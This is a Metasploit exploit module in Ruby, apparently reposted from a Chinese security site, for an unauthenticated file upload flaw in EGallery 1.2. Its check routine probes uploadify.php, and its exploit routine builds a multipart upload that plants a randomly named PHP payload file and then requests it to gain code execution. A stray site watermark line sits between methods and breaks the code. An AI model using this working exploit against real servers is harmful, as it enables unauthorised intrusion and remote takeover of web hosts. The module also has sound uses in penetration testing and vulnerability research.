##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
       Rank = ExcellentRanking
 
       include Msf::Exploit::Remote::HttpClient
 
       def initialize(info={})
              super(update_info(info,
                     'Name'           => "EGallery PHP File Upload Vulnerability",
                     'Description'    => %q{
                                   This module exploits a vulnerability found in EGallery 1.2 By abusing the
                            uploadify.php file, a malicious user can upload a file to the egallery/ directory
                            without any authentication, which results in arbitrary code execution. The module
                            has been tested successfully on Ubuntu 10.04.
                     },
                     'License'        => MSF_LICENSE,
                     'Author'         =>
                            [
                                   'Sammy FORGIT', # Discovery, PoC
                                   'juan' # Metasploit module
                            ],
                     'References'     =>
                            [
                                   ['OSVDB', '83891'],
                                   ['BID', '54464'],
                                   ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
                            ],
                     'Payload'        =>
                            {
                                   'BadChars' => "\x00"
                            },
                     'DefaultOptions'  =>
                            {
                                   'ExitFunction' => "none"
                            },
                     'Platform'       => ['php'],
                     'Arch'           => ARCH_PHP,
                     'Targets'        =>
                            [
                                   ['EGallery 1.2', {}]
                            ],
                     'Privileged'     => false,
                     'DisclosureDate' => "Jul 08 2012",
                     'DefaultTarget'  => 0))
 
                     register_options(
                            [
                                   OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
                            ], self.class)
       end
 
       def check
              uri = target_uri.path
              uri << '/' if uri[-1,1] != '/'
 
              res = send_request_cgi({
                     'method' => 'GET',
                     'uri'    => "#{uri}egallery/uploadify.php"
              })
 
              if res and res.code == 200 and res.body.empty?
                     return Exploit::CheckCode::Detected
              else
                     return Exploit::CheckCode::Safe
              end
       end
 www.2cto.com
       def exploit
              uri = target_uri.path
              uri << '/' if uri[-1,1] != '/'
 
              peer = "#{rhost}:#{rport}"
              payload_name = rand_text_alpha(rand(10) + 5) + '.php'
              boundary = Rex::Text.rand_text_hex(7)
 
              post_data = "--#{boundary}\r\n"
              post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
              post_data << "#{payload_name}\r\n"
              post_data << "--#{boundary}\r\n"
              post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
              post_data << "#{uri}\r\n"
              post_data << "--#{boundary}\r\n"
              post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
              post_data << "<?php "
              post_data << payload.encoded
              post_data << " ?>\r\n"
              post_data << "--#{boundary}--\r\n"
 
              print_status("#{peer} - Sending PHP payload (#{payload_name})")
              res = send_request_cgi({
                     'method' => 'POST',
                     'uri'    => "#{uri}egallery/uploadify.php",
                     'ctype'  => "multipart/form-data; boundary=#{boundary}",
                     'data'   => post_data
              })
 
              # If the server returns 200 and the body contains our payload name,
              # we assume we uploaded the malicious file successfully
              if not res or res.code != 200 or res.body !~ /#{payload_name}/
                     print_error("#{peer} - File wasn't uploaded, aborting!")
                     return
              end
 
              print_status("#{peer} - Executing PHP payload (#{payload_name})")
              # Execute our payload
              res = send_request_cgi({
                     'method' => 'GET',
                     'uri'    => "#{uri}#{payload_name}"
              })
 
              # If we don't get a 200 when we request our malicious payload, we suspect
              # we don't have a shell, either.  Print the status code for debugging purposes.
              if res and res.code != 200
                     print_status("#{peer} - Server returned #{res.code.to_s}")
              end
       end
 
end